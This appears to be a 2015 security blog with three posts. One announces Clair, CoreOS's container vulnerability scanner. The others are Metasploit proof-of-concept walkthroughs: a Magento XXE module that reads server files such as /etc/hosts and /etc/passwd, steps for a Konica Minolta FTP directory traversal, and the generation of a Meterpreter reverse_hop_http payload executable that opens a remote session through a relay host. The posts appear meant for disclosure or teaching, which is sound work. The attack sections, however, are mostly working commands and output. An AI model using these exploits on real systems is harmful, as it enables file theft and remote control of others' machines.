Monday, 16 November 2015

CoreOS Introduces Clair: Open Source Vulnerability Analysis for your Containers


Today we are open sourcing a new project called Clair, a tool to monitor the security of your containers. Clair is an API-driven analysis engine that inspects containers layer-by-layer for known security flaws. Using Clair, you can easily build services that provide continuous monitoring for container vulnerabilities. CoreOS believes tools that improve the security of the world's infrastructure should be available for all users and vendors, so we made the project open source. With that same purpose, we welcome your feedback and contributions to the Clair project.
Clair is the foundation of the beta version of Quay Security Scanning, a new feature running now on Quay to examine the millions of containers stored there for security vulnerabilities. Quay users can log in today to see Security Scanning information in their dashboard, including a list of potentially vulnerable containers in their repositories. The Quay Security Scanning beta announcement has more details for Quay users.

Why Create Clair: For Improved Security

Vulnerabilities will always exist in the world of software. Good security practice means being prepared for the mishaps – to identify insecure packages and be prepared to update them quickly. Clair is designed to help you identify insecure packages that may exist in your containers.
Understanding how systems are vulnerable is a laborious task, especially when dealing with heterogenous and dynamic setups. The goal is to empower any developer to gain intelligence about their container infrastructure. Even more, teams are empowered to seek action and apply a fix to vulnerabilities as they arise.

How Clair Works

Clair scans each container layer and provides a notification of vulnerabilities that may be a threat, based on the Common Vulnerabilities and Exposures database (CVE) and similar databases from Red Hat, Ubuntu, and Debian. Since layers can be shared between many containers, introspection is vital to build an inventory of packages and match that against known CVEs.
Automatic detection of vulnerabilities will help increase awareness and best security practices across developer and operations teams, and encourage action to patch and address the vulnerabilities. When new vulnerabilities are announced, all existing layers are rescanned and notifications are sent.
For example, CVE-2014-0160, aka "Heartbleed" has been known for over 18 months, yet Quay Scanning found it is still a potential threat to 80 percent of the Docker images users have stored on Quay. Just like CoreOS Linux contains an auto-update tool which patched Heartbleed at the OS layer, we hope this tool will improve the security of the container layer, and help make CoreOS the most secure place to run containers.
Take note that vulnerabilities often rely on particular conditions in order to be exploited. For example, Heartbleed only matters as a threat if the vulnerable OpenSSL package is installed and being used. Clair isn’t suited for that level of analysis and teams should still undertake deeper analysis as required.


Saturday, 14 November 2015

XML External Entity Injection vulnerability in Magento


This module abuses an XML External Entity Injection vulnerability in Magento <= 1.9.2. More precisely, the vulnerability is in the Zend Framework.
In short, the Zend Framework XXE vulnerability stems from an insufficient sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP applications. By using certain multibyte encodings within XML, it is possible to bypass the sanitisation and perform certain XXE attacks.
Since eBay Magento is based on Zend Framework and uses several of its XML classes, it also inherits this XXE vulnerability.  

Proof of concept : 

msf > use auxiliary/gather/magento_xxe
msf auxiliary(magento_xxe) > set RPORT 8080
RPORT => 8080
msf auxiliary(magento_xxe) > set SRVHOST 192.168.1.14
SRVHOST => 192.168.1.11
msf auxiliary(magento_xxe) > setg RHOST 192.168.1.25
RHOST => 192.168.1.25
msf auxiliary(magento_xxe) > show options

Module options (auxiliary/gather/magento_xxe):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILEPATH   /etc/passwd      yes       The filepath to read on the server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.25     yes       The target address
   RPORT      8080             yes       The target port
   SRVHOST    192.168.1.14     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base Magento directory path
   URIPATH    fetch.php        yes       The URI path to use for this exploit to get the data back
   VHOST                       no        HTTP server virtual host

msf auxiliary(magento_xxe) > set FILEPATH /etc/hosts
FILEPATH => /etc/hosts
msf auxiliary(magento_xxe) > run

[*] Using URL: http://192.168.1.14:8080/fetch.php
[*] Server started.
[*] 192.168.1.25     magento_xxe - Got an answer from the server.
[+] 192.168.1.25     magento_xxe - File /etc/hosts found and saved to path: /home/jvoisin/.msf4/loot/20151113173022_default_192.168.1.25_magento.file_682845.txt
[*] Server stopped.
[*] Auxiliary module execution completed

Thursday, 12 November 2015

Konica Minolta FTP Utility 1.0 - Directory Traversal Vulnerability



Overview

Directory traversal vulnerability in Konica Minolta FTP Utility 1.0 allows remote attackers to read arbitrary files via a ..\ (dot dot backslash) in a RETR command.


Vulnerable software and versions

+ Configuration 1
+ OR
* cpe:/a:konicaminolta:ftp_utility:1.0

 
 

Proof of concept :  

step 1. use auxiliary/scanner/ftp/konica_ftp_traversal

step2. set rhosts  victim IP 

step3. set verbose TRUE 

step4. run 


 

 

HTTPS support in both shellcode and handler

The reverse_hop_http module to now work with https 

Verification Steps 

 

  1.   place the /data/php/hop.php script on a server with PHP support. 

  2.   load the payload set the HOPURL appropriately, generate an exe . 

  3.   store the exe on the "victim" machine. 

  4.   use the exploit/multi/handler with the reverse_hop_https payload. 

  5.   execute the hop payload exe on the "victim" machine.  



Proof of concept :  

msf > use payload/windows/meterpreter/reverse_hop_http 
 
 msf payload(reverse_hop_http) > set HOPURL https://192.168.1.23/h.php
HOPURL => https://192.168.1.23/h.php 
 
 msf payload(reverse_hop_http) > generate -t exe -f hop.exe
[*] Writing 73802 bytes to hop.exe... 
 
msf payload(reverse_hop_http) > use exploit/multi/handler 
 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_hop_http
PAYLOAD => windows/meterpreter/reverse_hop_http 
 
msf exploit(handler) > set HOPURL https://192.168.1.23/h.php
HOPURL => https://192.168.1.23/h.php 
 
msf exploit(handler) > exploit 

[*] Preparing stage for next session nLxTeqmU1V-UCZQJwk2TvwB3XGe40qBOgvZVHPCyOP9IrUFsrEy4xPJZIZ6ttMrGqpZbacU
[*] Starting the payload handler...
[*] Uploaded stage to hop https://192.168.1.23/h.php?/
[*] Meterpreter session 1 opened (Hop client -> scriptjunkie.us:443) at 2015-11-11 21:30:16 -0600
[*] Preparing stage for next session uAHZHR2pS-ENdw13WzMKvwPcR5sR_-ibOWyFdmZ7sYp5SDRAauDRJtANqI9zUJFU47bQHK7Bmw